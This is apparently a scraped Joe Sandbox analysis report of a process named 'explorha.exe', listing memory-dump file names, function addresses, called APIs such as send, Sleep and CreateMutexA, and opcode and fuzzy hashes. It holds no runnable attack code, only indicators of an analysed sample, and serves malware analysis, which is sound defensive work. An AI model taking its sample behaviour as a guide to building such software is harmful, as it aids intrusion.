Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: c12e74bb71e80b5cbba7453acb98be12fd41cb6e18e09374fa949a458735cc21
Instruction ID: de6d1e44175e4cde55b6a2ad460fe1b4b71adf537b0e39bf1d63b82ca77bd574
Opcode Fuzzy Hash: c12e74bb71e80b5cbba7453acb98be12fd41cb6e18e09374fa949a458735cc21
Instruction Fuzzy Hash: 7241D872E00214DBDB288BBCDC957AEB7B4AF45324F104369EC19E33D1DA38AD408B95

Uniqueness

Uniqueness Score: -1.00%

Function 0071D202 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0071D25A
__Xtime_diff_to_millis2.LIBCPMT ref: 0071D274
_xtime_get.LIBCPMT ref: 0071D297
__Xtime_diff_to_millis2.LIBCPMT ref: 0071D2A3

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 880257fb6015feed8a9167f03d418d4b7af9960ec41e864ab11c5b83646c3ac4
Instruction ID: 3ace18804f7452dd607bd0150a9767cece3538ce40f37e3bfa77f63bba975bd4
Opcode Fuzzy Hash: 880257fb6015feed8a9167f03d418d4b7af9960ec41e864ab11c5b83646c3ac4
Instruction Fuzzy Hash: 25212C75A00219EFDF10EFA8DC859EEBBB9BF49314F100055F901A7291D6789E819BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0074097F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 007409C3

Strings

8Bv, xrefs: 00740A6B
`Gv, xrefs: 00740995

Memory Dump Source

Source File: 00000002.00000002.2130672754.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000002.00000002.2130649596.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130672754.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130744577.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130767970.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130792007.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130815173.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130838465.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130944623.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130968284.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2130992106.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131015605.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131038035.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131088103.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131112645.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131137331.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131162505.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131193467.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131218609.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131242429.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131268887.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131300586.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131327253.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131350972.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131375198.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131401886.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131426997.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131452167.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131475821.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131500106.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131526562.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131553521.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131576497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131600115.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131626714.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131653420.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131676429.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131750216.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131815918.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131876230.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131903531.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131929428.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2131983084.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2132009698.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8Bv$`Gv
API String ID: 3903695350-1396405441
Opcode ID: 9bb912093dce9b932f4f62738287f1ae57d2f2298621559bb01b3ce4bfe820b8
Instruction ID: d03ecb5a9f5dcac42f9a4a0f19f5e475cf2bda1515162e2575b73cb7eeab06bb
Opcode Fuzzy Hash: 9bb912093dce9b932f4f62738287f1ae57d2f2298621559bb01b3ce4bfe820b8
Instruction Fuzzy Hash: 78314F31604745DFEB21AE78D849BA677E9BF40350F208429E599E7292DF7DEC80CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 1788, Parent PID: 6128COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	9

Executed Functions

Function 00737BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00737BBA,?,?,?,?,?,00738C0E), ref: 00737BF6

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 261c3ca6fc927b7e4d12d952ed3b28e692c7a493030ca2e8aa85e6b2b7f1b7fc
Instruction ID: 7632b83e58c2604968a9beb7962ef44efb7e4277bc8dc00c8a014e7d67aed436
Opcode Fuzzy Hash: 261c3ca6fc927b7e4d12d952ed3b28e692c7a493030ca2e8aa85e6b2b7f1b7fc
Instruction Fuzzy Hash: 5AE08CB044A20CEEEE397B68DC64EA87B7DEB51344F000410FA044A723CF29FC42C981

Uniqueness

Uniqueness Score: -1.00%

Function 00709675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d9d54e9122cbb66ce08b1b18a02186262df6b1aa112b41e26c8611c473fa0248
Instruction ID: 5b1e02825f655073e93f042fe482b1d1e6a35f1dfb45498aa7f3f838db260426
Opcode Fuzzy Hash: d9d54e9122cbb66ce08b1b18a02186262df6b1aa112b41e26c8611c473fa0248
Instruction Fuzzy Hash: BF312672710204DBFB08DF78CC997ADFAA6AB86314F208318E515977D2D7BE99808791

Uniqueness

Uniqueness Score: -1.00%

Function 00709A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
